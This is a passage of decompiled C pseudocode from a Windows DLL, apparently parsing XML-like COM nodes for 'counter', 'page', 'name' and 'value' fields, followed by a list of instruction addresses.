												_t391 = MultiByteToWideChar(3, 0, "counter", 0xffffffff, 0, 0);
												_t597 = _t391;
												_t499 = _t597 - 1;
												__imp__#4(0, _t499);
												_t583 = _t391;
												__eflags = _t583;
												if(_t583 == 0) {
													L123:
													E6E8F7B80(0x8007000e);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t597);
													_t598 = _t499;
													_t500 =  *(_t598 + 0x2c);
													__eflags = _t500 - 8;
													if(_t500 < 8) {
														L129:
														 *(_t598 + 0x28) = 0;
														 *(_t598 + 0x2c) = 7;
														 *((short*)(_t598 + 0x18)) = 0;
														_t501 =  *(_t598 + 0x14);
														__eflags = _t501 - 8;
														if(_t501 < 8) {
															L134:
															__eflags = 0;
															 *(_t598 + 0x10) = 0;
															 *(_t598 + 0x14) = 7;
															 *_t598 = 0;
															return 0;
														} else {
															_t310 =  *_t598;
															_t502 = 2 + _t501 * 2;
															__eflags = _t502 - 0x1000;
															if(_t502 < 0x1000) {
																L133:
																_push(_t502);
																E6E90416E(_t310);
																goto L134;
															} else {
																_t568 =  *((intOrPtr*)(_t310 - 4));
																_t502 =  &(_t502[8]);
																__eflags = _t310 - _t568 + 0xfffffffc - 0x1f;
																if(__eflags > 0) {
																	goto L135;
																} else {
																	_t310 = _t568;
																	goto L133;
																}
															}
														}
													} else {
														_t379 =  *((intOrPtr*)(_t598 + 0x18));
														_t529 = 2 + _t500 * 2;
														__eflags = _t529 - 0x1000;
														if(_t529 < 0x1000) {
															L128:
															_push(_t529);
															E6E90416E(_t379);
															_t636 = _t636 + 8;
															goto L129;
														} else {
															_t568 =  *((intOrPtr*)(_t379 - 4));
															_t502 = _t529 + 0x23;
															__eflags = _t379 - _t568 + 0xfffffffc - 0x1f;
															if(__eflags > 0) {
																L135:
																E6E90D5F4(_t482, _t502, _t568, __eflags);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t622);
																_t623 = _t636;
																_push(0xffffffff);
																_push(0x6e928705);
																_push( *[fs:0x0]);
																_t638 = _t636 - 0x24;
																_t316 =  *0x6e93d008; // 0x6cddfca0
																_t317 = _t316 ^ _t623;
																_v332 = _t317;
																_push(_t482);
																_push(_t598);
																_push(_t583);
																_push(_t317);
																 *[fs:0x0] =  &_v328;
																_t483 = _t568;
																_v336 = 0;
																_v320 = 0;
																_t503 =  *_t502;
																__eflags = _t503;
																if(_t503 == 0) {
																	L166:
																	E6E907500(0x80004003);
																	goto L167;
																} else {
																	_t575 =  &_v36;
																	_v20 = 0;
																	_v36 = 0;
																	 *((intOrPtr*)( *_t503 + 0x34))(_t503,  &_v36);
																	_t356 = _v36;
																	__eflags = _t356;
																	if(_t356 == 0) {
																		L159:
																		_t490 = 1;
																		goto L160;
																	} else {
																		_t583 = __imp__#6;
																		while(1) {
																			_v44 = 0;
																			_v20 = 2;
																			__eflags = _t356;
																			if(_t356 == 0) {
																				goto L166;
																			}
																			_t575 =  &_v44;
																			_t360 =  *((intOrPtr*)( *_t356 + 0x1c))(_t356,  &_v44);
																			__eflags = _t360;
																			if(_t360 < 0) {
																				L165:
																				 *_t583(_v44);
																				_t356 = _v36;
																				_t490 = 0;
																				L160:
																				_v20 = 0xc;
																				__eflags = _t356;
																				if(_t356 != 0) {
																					 *((intOrPtr*)( *_t356 + 8))(_t356);
																				}
																				 *[fs:0x0] = _v28;
																				_pop(_t591);
																				_pop(_t612);
																				_pop(_t491);
																				__eflags = _v32 ^ _t623;
																				return E6E904160(_t490, _t491, _v32 ^ _t623, _t575, _t591, _t612);
																			} else {
																				_t362 = MultiByteToWideChar(3, 0, "page", 0xffffffff, 0, 0);
																				_t598 = _t362;
																				_t503 = _t598 - 1;
																				__imp__#4(0, _t503);
																				_t583 = _t362;
																				__eflags = _t583;
																				if(_t583 == 0) {
																					L168:
																					_t320 = E6E8F7B80(0x8007000e);
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					_t504 = _t503 + 4;
																					_push(_t598);
																					_t600 = _t504;
																					_t505 =  *_t600;
																					__eflags = _t505;
																					if(_t505 == 0) {
																						L175:
																						return _t320;
																					} else {
																						_push(_t505);
																						E6E8FC4F0(_t483, _t505, _t600[1], _t583, _t600, _t658);
																						_t639 = _t638 + 4;
																						_t506 =  *_t600;
																						_t572 = (_t600[2] - _t506 >> 3) * 0xb6db6db7 * 8 - (_t600[2] - _t506 >> 3) * 0xb6db6db7 << 3;
																						__eflags = _t572 - 0x1000;
																						if(_t572 < 0x1000) {
																							L174:
																							_push(_t572);
																							_t320 = E6E90416E(_t506);
																							 *_t600 = 0;
																							_t600[1] = 0;
																							_t600[2] = 0;
																							goto L175;
																						} else {
																							_push(_t583);
																							_t584 =  *(_t506 - 4);
																							_t572 = _t572 + 0x23;
																							_t507 = _t506 - _t584;
																							__eflags = _t507 - 4 - 0x1f;
																							if(__eflags > 0) {
																								_t327 = E6E90D5F4(_t483, _t507, _t572, __eflags);
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								_push(_t600);
																								_push(_t584);
																								_t585 = _t507;
																								_t602 =  *_t585;
																								__eflags = _t602;
																								if(_t602 == 0) {
																									L185:
																									return _t327;
																								} else {
																									_push(_t483);
																									_t484 = _t585[1];
																									__eflags = _t602 - _t484;
																									if(_t602 != _t484) {
																										do {
																											E6E8F9EB0(_t484, _t602, _t585, _t602, _t658);
																											_t602 = _t602 + 0x58;
																											__eflags = _t602 - _t484;
																										} while (_t602 != _t484);
																										_t602 =  *_t585;
																									}
																									_pop(_t485);
																									_t332 = (_t585[2] - _t602 >> 3) * 0xba2e8ba3 * 0x58;
																									__eflags = _t332 - 0x1000;
																									if(_t332 < 0x1000) {
																										L184:
																										_push(_t332);
																										_t327 = E6E90416E(_t602);
																										 *_t585 = 0;
																										_t585[1] = 0;
																										_t585[2] = 0;
																										goto L185;
																									} else {
																										_t508 =  *(_t602 - 4);
																										_t332 = _t332 + 0x23;
																										_t605 = _t602 - _t508 + 0xfffffffc;
																										__eflags = _t605 - 0x1f;
																										if(__eflags > 0) {
																											E6E90D5F4(_t485, _t508, _t572, __eflags);
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											_push(_t623);
																											_t624 = _t639;
																											_t642 = _t639 - 0xc;
																											_t334 = _v396;
																											_t573 = _v400;
																											_push(_t485);
																											_push(_t605);
																											_push(_t585);
																											_t587 = _t508;
																											_v420 = _v400;
																											_v416 = _t334;
																											_t486 =  *(_t587 + 0x14);
																											__eflags = _t334 - _t486;
																											if(_t334 > _t486) {
																												__eflags = _t334 - 0x7ffffffe;
																												if(_t334 > 0x7ffffffe) {
																													L204:
																													E6E8F1A70(_t508);
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													asm("int3");
																													_push(_t624);
																													_push(_t508);
																													return E6E8FC4F0(_t486, _v424, _v420, _t587, _t605, _t658);
																												} else {
																													_t607 = _t334 | 0x00000007;
																													__eflags = _t607 - 0x7ffffffe;
																													if(_t607 <= 0x7ffffffe) {
																														_t511 = _t486 >> 1;
																														__eflags = _t486 - 0x7ffffffe - _t511;
																														if(_t486 <= 0x7ffffffe - _t511) {
																															_t339 = _t511 + _t486;
																															__eflags = _t607 - _t339;
																															_t608 =  <  ? _t339 : _t607;
																															__eflags = _t608;
																														} else {
																															_t608 = 0x7ffffffe;
																														}
																													} else {
																														_t608 = 0x7ffffffe;
																													}
																													_t270 = _t608 + 1; // 0x7fffffff
																													_t341 = E6E8FC8D0(_t486, _t573, _t587, _t608, _t658, _t270);
																													_t513 = _v28;
																													 *(_t587 + 0x14) = _t608;
																													_v24 = _t341;
																													 *(_t587 + 0x10) = _t513;
																													_t605 = _t513 + _t513;
																													E6E9085C0(_t341, _v32, _t605);
																													_t343 = _v24;
																													_t642 = _t642 + 0xc;
																													 *((short*)(_t605 + _t343)) = 0;
																													__eflags = _t486 - 8;
																													if(_t486 < 8) {
																														L202:
																														 *_t587 = _t343;
																														return _t587;
																													} else {
																														_t345 =  *_t587;
																														_t488 = 2 + _t486 * 2;
																														__eflags = _t488 - 0x1000;
																														if(_t488 < 0x1000) {
																															L201:
																															_push(_t488);
																															E6E90416E(_t345);
																															_t343 = _v24;
																															goto L202;
																														} else {
																															_t508 =  *(_t345 - 4);
																															_t486 = _t488 + 0x23;
																															__eflags = _t345 - _t508 + 0xfffffffc - 0x1f;
																															if(__eflags > 0) {
																																E6E90D5F4(_t486, _t508, _t573, __eflags);
																																goto L204;
																															} else {
																																_t345 = _t508;
																																goto L201;
																															}
																														}
																													}
																												}
																											} else {
																												_v24 = _t587;
																												__eflags = _t486 - 8;
																												if(_t486 >= 8) {
																													_t508 =  *_t587;
																													_v24 =  *_t587;
																												}
																												_t610 = _t334 + _t334;
																												 *(_t587 + 0x10) = _t334;
																												E6E9085C0(_t508, _t573, _t610);
																												__eflags = 0;
																												 *((short*)(_t610 + _v24)) = 0;
																												return _t587;
																											}
																										} else {
																											_t602 = _t508;
																											goto L184;
																										}
																									}
																								}
																							} else {
																								_t506 = _t584;
																								goto L174;
																							}
																						}
																					}
																				} else {
																					_t363 = MultiByteToWideChar(3, 0, "page", 0xffffffff, _t583, _t598);
																					__eflags = _t363 - _t598;
																					if(_t363 != _t598) {
																						L167:
																						__imp__#6(_t583);
																						goto L168;
																					} else {
																						__imp__#314(_v44, _t583, 0x400, 0);
																						_t583 = __imp__#6;
																						_t598 = _t363;
																						 *_t583(_t583);
																						__eflags = _t598 - 1;
																						if(_t598 == 1) {
																							asm("xorps xmm0, xmm0");
																							asm("movups [ebp-0x2c], xmm0");
																							_v20 = 4;
																							_t375 = E6E8F8980(_t483,  &_v36,  &_v60, _t583, _t598, _t658);
																							__eflags = _t375;
																							if(_t375 != 0) {
																								_t376 =  *((intOrPtr*)(_t483 + 4));
																								_push( &_v60);
																								__eflags = _t376 -  *((intOrPtr*)(_t483 + 8));
																								if(_t376 ==  *((intOrPtr*)(_t483 + 8))) {
																									_push(_t376);
																									E6E8FBB80(_t483, _t658);
																								} else {
																									E6E8FBA50(_t376);
																									_t638 = _t638 + 4;
																									 *((intOrPtr*)(_t483 + 4)) =  *((intOrPtr*)(_t483 + 4)) + 0x10;
																								}
																							}
																							_t503 =  &_v56;
																							L170();
																						}
																						_v40 = 0;
																						_v20 = 5;
																						_t365 = _v36;
																						__eflags = _t365;
																						if(_t365 == 0) {
																							goto L166;
																						} else {
																							_t575 =  &_v40;
																							_v20 = 5;
																							_v40 = 0;
																							_t366 =  *((intOrPtr*)( *_t365 + 0x40))(_t365,  &_v40);
																							__eflags = _t366;
																							if(_t366 < 0) {
																								_v20 = 7;
																								_t367 = _v40;
																								__eflags = _t367;
																								if(_t367 != 0) {
																									 *((intOrPtr*)( *_t367 + 8))(_t367);
																								}
																								goto L165;
																							} else {
																								_t503 = _v36;
																								_t369 = _v40;
																								__eflags = _t503 - _t369;
																								if(_t503 != _t369) {
																									_t598 = _t369;
																									_v20 = 9;
																									__eflags = _t598;
																									if(_t598 != 0) {
																										 *((intOrPtr*)( *_t369 + 4))(_t369);
																										_t503 = _v36;
																										_t369 = _v40;
																									}
																									_v36 = _t598;
																									_v20 = 0xa;
																									__eflags = _t503;
																									if(_t503 != 0) {
																										 *((intOrPtr*)( *_t503 + 8))(_t503);
																										_t369 = _v40;
																									}
																								}
																								_v20 = 0xb;
																								__eflags = _t369;
																								if(_t369 != 0) {
																									_t503 =  *_t369;
																									 *((intOrPtr*)(_t503 + 8))(_t369);
																								}
																								 *_t583(_v44);
																								_t356 = _v36;
																								__eflags = _t356;
																								if(_t356 != 0) {
																									continue;
																								} else {
																									goto L159;
																								}
																							}
																						}
																					}
																				}
																			}
																			goto L206;
																		}
																		goto L166;
																	}
																}
															} else {
																_t379 = _t568;
																goto L128;
															}
														}
													}
												} else {
													_t392 = MultiByteToWideChar(3, 0, "counter", 0xffffffff, _t583, _t597);
													__eflags = _t392 - _t597;
													if(_t392 != _t597) {
														L122:
														 *_t482(_t583);
														goto L123;
													} else {
														__imp__#314(_v40, _t583, 0x400, 0);
														_t597 = _t392;
														 *_t482(_t583);
														__eflags = _t597 - 1;
														if(_t597 != 1) {
															L103:
															_v36 = 0;
															_v16 = 5;
															_t394 = _v32;
															__eflags = _t394;
															if(__eflags == 0) {
																goto L120;
															} else {
																_t567 =  &_v36;
																_v16 = 5;
																_v36 = 0;
																_t395 =  *((intOrPtr*)( *_t394 + 0x40))(_t394,  &_v36);
																__eflags = _t395;
																if(_t395 < 0) {
																	_v16 = 7;
																	_t396 = _v36;
																	__eflags = _t396;
																	if(_t396 != 0) {
																		 *((intOrPtr*)( *_t396 + 8))(_t396);
																	}
																	goto L119;
																} else {
																	_t499 = _v32;
																	_t398 = _v36;
																	__eflags = _t499 - _t398;
																	if(_t499 != _t398) {
																		_t597 = _t398;
																		_v16 = 9;
																		__eflags = _t597;
																		if(_t597 != 0) {
																			 *((intOrPtr*)( *_t398 + 4))(_t398);
																			_t499 = _v32;
																			_t398 = _v36;
																		}
																		_v32 = _t597;
																		_v16 = 0xa;
																		__eflags = _t499;
																		if(_t499 != 0) {
																			 *((intOrPtr*)( *_t499 + 8))(_t499);
																			_t398 = _v36;
																		}
																	}
																	_v16 = 0xb;
																	__eflags = _t398;
																	if(_t398 != 0) {
																		_t499 =  *_t398;
																		 *((intOrPtr*)(_t499 + 8))(_t398);
																	}
																	 *_t482(_v40);
																	_t385 = _v32;
																	__eflags = _t385;
																	if(_t385 != 0) {
																		continue;
																	} else {
																		goto L113;
																	}
																}
															}
														} else {
															_v88 = 0;
															_v64 = 0;
															_v72 = 0;
															_v68 = 7;
															_v88 = 0;
															_v48 = 0;
															_v44 = 7;
															_v64 = 0;
															_v16 = 4;
															_t499 =  &_v32;
															L37();
															__eflags = 0;
															if(0 != 0) {
																_push( &_v88);
																_t416 = E6E8FBD70(_v92,  &_v100);
																_t417 =  &_v88;
																_t597 =  *_t416 + 0x20;
																__eflags = _t597 - _t417;
																if(_t597 != _t417) {
																	__eflags = _v68 - 8;
																	_push(_v72);
																	_t420 =  >=  ? _v88 : _t417;
																	_push( >=  ? _v88 : _t417);
																	L187();
																}
																_t499 = _t597 + 0x18;
																_t418 =  &_v64;
																__eflags = _t499 - _t418;
																if(_t499 != _t418) {
																	__eflags = _v44 - 8;
																	_push(_v48);
																	_t419 =  >=  ? _v64 : _t418;
																	_push( >=  ? _v64 : _t418);
																	L187();
																}
															}
															_v16 = 2;
															_t579 = _v44;
															__eflags = _t579 - 8;
															if(_t579 < 8) {
																L99:
																_t567 = _v68;
																_v48 = 0;
																_v44 = 7;
																_v64 = 0;
																__eflags = _t567 - 8;
																if(_t567 < 8) {
																	goto L103;
																} else {
																	_t499 = _v88;
																	_t567 = 2 + _t567 * 2;
																	_t406 = _t499;
																	__eflags = _t567 - 0x1000;
																	if(_t567 < 0x1000) {
																		L102:
																		_push(_t567);
																		E6E90416E(_t499);
																		_t636 = _t636 + 8;
																		goto L103;
																	} else {
																		_t499 =  *(_t499 - 4);
																		_t567 = _t567 + 0x23;
																		__eflags = _t406 - _t499 + 0xfffffffc - 0x1f;
																		if(__eflags > 0) {
																			goto L121;
																		} else {
																			goto L102;
																		}
																	}
																}
															} else {
																_t499 = _v64;
																_t580 = 2 + _t579 * 2;
																_t410 = _t499;
																__eflags = _t580 - 0x1000;
																if(_t580 < 0x1000) {
																	L98:
																	_push(_t580);
																	E6E90416E(_t499);
																	_t636 = _t636 + 8;
																	goto L99;
																} else {
																	_t499 =  *(_t499 - 4);
																	_t567 = _t580 + 0x23;
																	__eflags = _t410 - _t499 + 0xfffffffc - 0x1f;
																	if(__eflags > 0) {
																		L121:
																		E6E90D5F4(_t482, _t499, _t567, __eflags);
																		goto L122;
																	} else {
																		goto L98;
																	}
																}
															}
														}
													}
												}
											}
											goto L206;
										}
										goto L120;
									}
								}
							} else {
								_t567 =  &_v32;
								_v12 = 0;
								_v32 = 0;
								_t422 =  *((intOrPtr*)( *_t498 + 0x44))(_t498, _t567);
								__eflags = _t422;
								if(_t422 >= 0) {
									_v28 = 0;
									_v12 = 3;
									_t597 = _v32;
									__eflags = _t597;
									if(__eflags == 0) {
										goto L81;
									} else {
										_t593 =  *( *_t597 + 0x1c);
										_v12 = 3;
										_v28 = 0;
										_t424 = E6E8F7C80(_t482,  &_v68, _t567, __eflags, "name");
										_v12 = 5;
										_t425 =  *_t424;
										__eflags = _t425;
										if(_t425 == 0) {
											_t426 = 0;
											__eflags = 0;
										} else {
											_t426 =  *_t425;
										}
										_t498 =  &_v28;
										_t427 =  *_t593(_t597, _t426, _t498);
										_v12 = 3;
										_t583 = _t427;
										_t597 = _v68;
										__eflags = _t597;
										if(_t597 != 0) {
											asm("lock xadd [esi+0x8], ecx");
											_t498 = (_t498 | 0xffffffff) - 1;
											__eflags = _t498;
											if(_t498 == 0) {
												__eflags = _t597;
												if(_t597 != 0) {
													_t464 =  *_t597;
													__eflags = _t464;
													if(_t464 != 0) {
														__imp__#6(_t464);
														 *_t597 = 0;
													}
													_t465 =  *(_t597 + 4);
													__eflags = _t465;
													if(_t465 != 0) {
														E6E9041CF(_t465);
														_t635 = _t635 + 4;
														 *(_t597 + 4) = 0;
													}
													_push(0xc);
													E6E90416E(_t597);
													_t635 = _t635 + 8;
												}
											}
										}
										__eflags = _t583;
										if(_t583 < 0) {
											L74:
											_t494 = 0;
											__eflags = 0;
											goto L75;
										} else {
											_t433 = _v28;
											__eflags = _t433;
											if(_t433 == 0) {
												goto L81;
											} else {
												_t498 =  *_t433;
												_t567 =  &_v48;
												_t434 =  *((intOrPtr*)(_t498 + 0x20))(_t433, _t567);
												__eflags = _t434;
												if(_t434 < 0) {
													goto L74;
												} else {
													__imp__#8( &_v88);
													_t437 =  &_v88;
													__imp__#10(_t437,  &_v48);
													__eflags = _t437;
													if(_t437 < 0) {
														E6E907500(_t437);
														goto L81;
													} else {
														_v12 = 0xa;
														_push( &_v88);
														_t440 = E6E8F7ED0(_t482,  &_v68, _t567, _t583, _t597, _t658);
														_v12 = 0xb;
														_t581 =  *_t440;
														__eflags = _t581;
														if(_t581 == 0) {
															_t567 = 0;
															__eflags = 0;
														} else {
															_t567 =  *_t581;
														}
														_t549 = _t567;
														_t616 = _t549 + 2;
														do {
															_t441 =  *_t549;
															_t549 = _t549 + 2;
															__eflags = _t441;
														} while (_t441 != 0);
														L187();
														_t498 =  &_v68;
														E6E8F7D20(_t441, _t498);
														_v12 = 3;
														_t482 = __imp__#9;
														 *_t482( &_v88, _t567, _t549 - _t616 >> 1);
														_t597 = _v32;
														__eflags = _t597;
														if(_t597 == 0) {
															goto L81;
														} else {
															_t583 =  *( *_t597 + 0x1c);
															_v12 = 0xc;
															_t446 = _v28;
															__eflags = _t446;
															if(__eflags != 0) {
																 *((intOrPtr*)( *_t446 + 8))(_t446);
															}
															_v12 = 3;
															_v28 = 0;
															_t447 = E6E8F7C80(_t482,  &_v68, _t567, __eflags, "value");
															_v12 = 0xd;
															_t448 =  *_t447;
															__eflags = _t448;
															if(_t448 == 0) {
																_t449 = 0;
																__eflags = 0;
															} else {
																_t449 =  *_t448;
															}
															_t450 =  *_t583(_t597, _t449,  &_v28);
															_t498 =  &_v68;
															_v12 = 3;
															_t597 = _t450;
															E6E8F7D20(_t450, _t498);
															__eflags = _t597;
															if(_t597 < 0) {
																goto L74;
															} else {
																_t452 = _v28;
																__eflags = _t452;
																if(_t452 == 0) {
																	goto L81;
																} else {
																	_t567 =  &_v64;
																	_t453 =  *((intOrPtr*)( *_t452 + 0x20))(_t452,  &_v64);
																	__eflags = _t453;
																	if(_t453 < 0) {
																		goto L74;
																	} else {
																		_push(E6E8F7E90( &_v64,  &_v88, _t597,  &_v64));
																		_v12 = 0x12;
																		_t456 = E6E8F7ED0(_t482,  &_v68,  &_v64, _t583, _t597, _t658);
																		_v12 = 0x13;
																		_t457 =  *_t456;
																		__eflags = _t457;
																		if(_t457 == 0) {
																			_t458 = 0;
																			__eflags = 0;
																		} else {
																			_t458 =  *_t457;
																		}
																		E6E8F7D20(E6E8FB530(_v72 + 0x18, _t458),  &_v68);
																		 *_t482( &_v88);
																		_t494 = 1;
																	}
																	L75:
																	_v12 = 0x14;
																	_t428 = _v28;
																	__eflags = _t428;
																	if(_t428 != 0) {
																		 *((intOrPtr*)( *_t428 + 8))(_t428);
																	}
																	goto L77;
																}
															}
														}
													}
												}
											}
										}
									}
								} else {
									_t494 = 0;
									L77:
									_v12 = 0x15;
									_t542 = _v32;
									__eflags = _t542;
									if(_t542 != 0) {
										_t567 =  *_t542;
										 *((intOrPtr*)( *_t542 + 8))(_t542);
									}
									 *[fs:0x0] = _v20;
									_pop(_t594);
									_pop(_t615);
									_pop(_t495);
									__eflags = _v24 ^ _t621;
									return E6E904160(_t494, _t495, _v24 ^ _t621, _t567, _t594, _t615);
								}
							}
						}
					}
				}
				L206:
			}

0x6e8f7ed0
0x6e8f7ed0
0x6e8f7ed0
0x6e8f7ed0
0x6e8f7ed1
0x6e8f7ed3
0x6e8f7ed5
0x6e8f7ee0
0x6e8f7ee1
0x6e8f7ee4
0x6e8f7ee9
0x6e8f7eeb
0x6e8f7eee
0x6e8f7eef
0x6e8f7ef0
0x6e8f7ef1
0x6e8f7ef5
0x6e8f7efb
0x6e8f7efd
0x6e8f7f00
0x6e8f7f06
0x6e8f7f0a
0x6e8f7f78
0x6e8f7f81
0x6e8f7f88
0x6e8f7f8a
0x6e8f7f97
0x6e8f7f9c
0x6e8f7fa0
0x6e8f7fa6
0x6e8f7fa8
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f7f8c
0x6e8f7f8c
0x6e8f7f91
0x6e8f7f95
0x6e8f7fae
0x6e8f7fae
0x6e8f7fb1
0x6e8f7fb3
0x6e8f7fc9
0x6e8f7fc9
0x6e8f7fcb
0x6e8f7fcd
0x6e8f7fd2
0x6e8f7fd7
0x6e8f7fd8
0x6e8f7fda
0x6e8f7fdc
0x6e8f7fde
0x6e8f7fe1
0x6e8f7fe7
0x6e8f7fe7
0x6e8f7fed
0x6e8f7ff0
0x6e8f7ff2
0x6e8f7ff5
0x6e8f7ffa
0x6e8f7ffd
0x6e8f7ffd
0x6e8f8004
0x6e8f8007
0x6e8f800c
0x6e8f800c
0x6e8f800f
0x6e8f800f
0x6e8f8017
0x6e8f801c
0x6e8f801e
0x6e8f8021
0x6e8f8024
0x6e8f8028
0x6e8f802a
0x6e8f805b
0x6e8f805b
0x00000000
0x6e8f802c
0x6e8f802c
0x6e8f802f
0x6e8f8033
0x6e8f803b
0x6e8f8042
0x6e8f8049
0x6e8f804f
0x6e8f8051
0x6e8f8053
0x6e8f805d
0x6e8f805d
0x6e8f8061
0x6e8f8063
0x6e8f8065
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f8055
0x6e8f8055
0x6e8f8057
0x00000000
0x6e8f8059
0x00000000
0x6e8f8059
0x6e8f8057
0x6e8f8053
0x6e8f7fb5
0x6e8f7fb5
0x6e8f7fb7
0x6e8f7fb9
0x6e8f7fbf
0x6e8f7fbf
0x6e8f7fbb
0x6e8f7fbb
0x6e8f7fbb
0x6e8f7fc1
0x6e8f7fc3
0x6e8f8067
0x6e8f806b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8f7fc3
0x00000000
0x00000000
0x00000000
0x6e8f7f95
0x6e8f7f0c
0x6e8f7f0c
0x6e8f7f11
0x6e8f7f16
0x6e8f7f18
0x6e8f7f1b
0x6e8f7f1e
0x6e8f7f27
0x6e8f7f5c
0x6e8f7f5c
0x00000000
0x6e8f7f29
0x6e8f7f29
0x6e8f7f2c
0x6e8f7f30
0x6e8f7f38
0x6e8f7f3f
0x6e8f7f46
0x6e8f7f4c
0x6e8f7f50
0x6e8f7f5e
0x6e8f7f5e
0x6e8f7f65
0x6e8f7f69
0x00000000
0x6e8f7f6f
0x6e8f8071
0x6e8f8076
0x6e8f807e
0x6e8f807f
0x6e8f8080
0x6e8f808e
0x6e8f808e
0x6e8f8091
0x6e8f8096
0x6e8f809b
0x6e8f80a0
0x6e8f80a5
0x6e8f80a6
0x6e8f80ab
0x6e8f80b0
0x6e8f80b5
0x6e8f80ba
0x6e8f80bf
0x6e8f80c0
0x6e8f80c1
0x6e8f80c3
0x6e8f80c5
0x6e8f80d0
0x6e8f80d1
0x6e8f80d4
0x6e8f80d9
0x6e8f80db
0x6e8f80de
0x6e8f80df
0x6e8f80e0
0x6e8f80e1
0x6e8f80e5
0x6e8f80eb
0x6e8f80ed
0x6e8f80f0
0x6e8f80f7
0x6e8f80fe
0x6e8f8100
0x6e8f8102
0x6e8f836e
0x6e8f8373
0x6e8f8378
0x6e8f8379
0x6e8f837a
0x6e8f837b
0x6e8f837c
0x6e8f837d
0x6e8f837e
0x6e8f837f
0x6e8f8380
0x6e8f8381
0x6e8f8383
0x6e8f8385
0x6e8f8390
0x6e8f8391
0x6e8f8394
0x6e8f8399
0x6e8f839b
0x6e8f839e
0x6e8f839f
0x6e8f83a0
0x6e8f83a1
0x6e8f83a5
0x6e8f83ab
0x6e8f83ae
0x6e8f83b5
0x6e8f83bc
0x6e8f83be
0x6e8f83c0
0x6e8f8664
0x6e8f8669
0x00000000
0x6e8f83c6
0x6e8f83c8
0x6e8f83cb
0x6e8f83d1
0x6e8f83d8
0x6e8f83db
0x6e8f83de
0x6e8f83e0
0x6e8f8616
0x6e8f8616
0x00000000
0x6e8f83e6
0x6e8f83e6
0x6e8f83f0
0x6e8f83f0
0x6e8f83f7
0x6e8f83fb
0x6e8f83fd
0x00000000
0x00000000
0x6e8f8405
0x6e8f840a
0x6e8f840d
0x6e8f840f
0x6e8f8658
0x6e8f865b
0x6e8f865d
0x6e8f8660
0x6e8f8618
0x6e8f8618
0x6e8f861f
0x6e8f8621
0x6e8f8626
0x6e8f8626
0x6e8f862e
0x6e8f8636
0x6e8f8637
0x6e8f8638
0x6e8f863c
0x6e8f8646
0x6e8f8415
0x6e8f8424
0x6e8f842a
0x6e8f842c
0x6e8f8432
0x6e8f8438
0x6e8f843a
0x6e8f843c
0x6e8f8676
0x6e8f867b
0x6e8f8680
0x6e8f8681
0x6e8f8682
0x6e8f8683
0x6e8f8684
0x6e8f8685
0x6e8f8686
0x6e8f8687
0x6e8f8688
0x6e8f8689
0x6e8f868a
0x6e8f868b
0x6e8f868c
0x6e8f868d
0x6e8f868e
0x6e8f868f
0x6e8f8690
0x6e8f8691
0x6e8f8693
0x6e8f8696
0x6e8f8699
0x6e8f86c9
0x6e8f86cb
0x6e8f86d2
0x6e8f86d9
0x6e8f86dd
0x6e8f86e0
0x6e8f86e3
0x6e8f8712
0x6e8f8712
0x6e8f8714
0x6e8f871b
0x6e8f8722
0x6e8f8726
0x6e8f86e5
0x6e8f86e5
0x6e8f86e7
0x6e8f86ee
0x6e8f86f4
0x6e8f8708
0x6e8f8708
0x6e8f870a
0x00000000
0x6e8f86f6
0x6e8f86f6
0x6e8f86f9
0x6e8f8701
0x6e8f8704
0x00000000
0x6e8f8706
0x6e8f8706
0x00000000
0x6e8f8706
0x6e8f8704
0x6e8f86f4
0x6e8f869b
0x6e8f869b
0x6e8f869e
0x6e8f86a5
0x6e8f86ab
0x6e8f86bf
0x6e8f86bf
0x6e8f86c1
0x6e8f86c6
0x00000000
0x6e8f86ad
0x6e8f86ad
0x6e8f86b0
0x6e8f86b8
0x6e8f86bb
0x6e8f8727
0x6e8f8727
0x6e8f872c
0x6e8f872d
0x6e8f872e
0x6e8f872f
0x6e8f8730
0x6e8f8731
0x6e8f8733
0x6e8f8735
0x6e8f8740
0x6e8f8741
0x6e8f8744
0x6e8f8749
0x6e8f874b
0x6e8f874e
0x6e8f874f
0x6e8f8750
0x6e8f8751
0x6e8f8755
0x6e8f875b
0x6e8f875d
0x6e8f8764
0x6e8f876b
0x6e8f876d
0x6e8f876f
0x6e8f8947
0x6e8f894c
0x00000000
0x6e8f8775
0x6e8f8777
0x6e8f877a
0x6e8f8780
0x6e8f8787
0x6e8f878a
0x6e8f878d
0x6e8f878f
0x6e8f88f9
0x6e8f88f9
0x00000000
0x6e8f8795
0x6e8f8795
0x6e8f87a0
0x6e8f87a0
0x6e8f87a7
0x6e8f87ab
0x6e8f87ad
0x00000000
0x00000000
0x6e8f87b5
0x6e8f87ba
0x6e8f87bd
0x6e8f87bf
0x6e8f893b
0x6e8f893e
0x6e8f8940
0x6e8f8943
0x6e8f88fb
0x6e8f88fb
0x6e8f8902
0x6e8f8904
0x6e8f8909
0x6e8f8909
0x6e8f8911
0x6e8f8919
0x6e8f891a
0x6e8f891b
0x6e8f891f
0x6e8f8929
0x6e8f87c5
0x6e8f87d4
0x6e8f87da
0x6e8f87dc
0x6e8f87e2
0x6e8f87e8
0x6e8f87ea
0x6e8f87ec
0x6e8f8958
0x6e8f895d
0x6e8f8962
0x6e8f8963
0x6e8f8964
0x6e8f8965
0x6e8f8966
0x6e8f8967
0x6e8f8968
0x6e8f8969
0x6e8f896a
0x6e8f896b
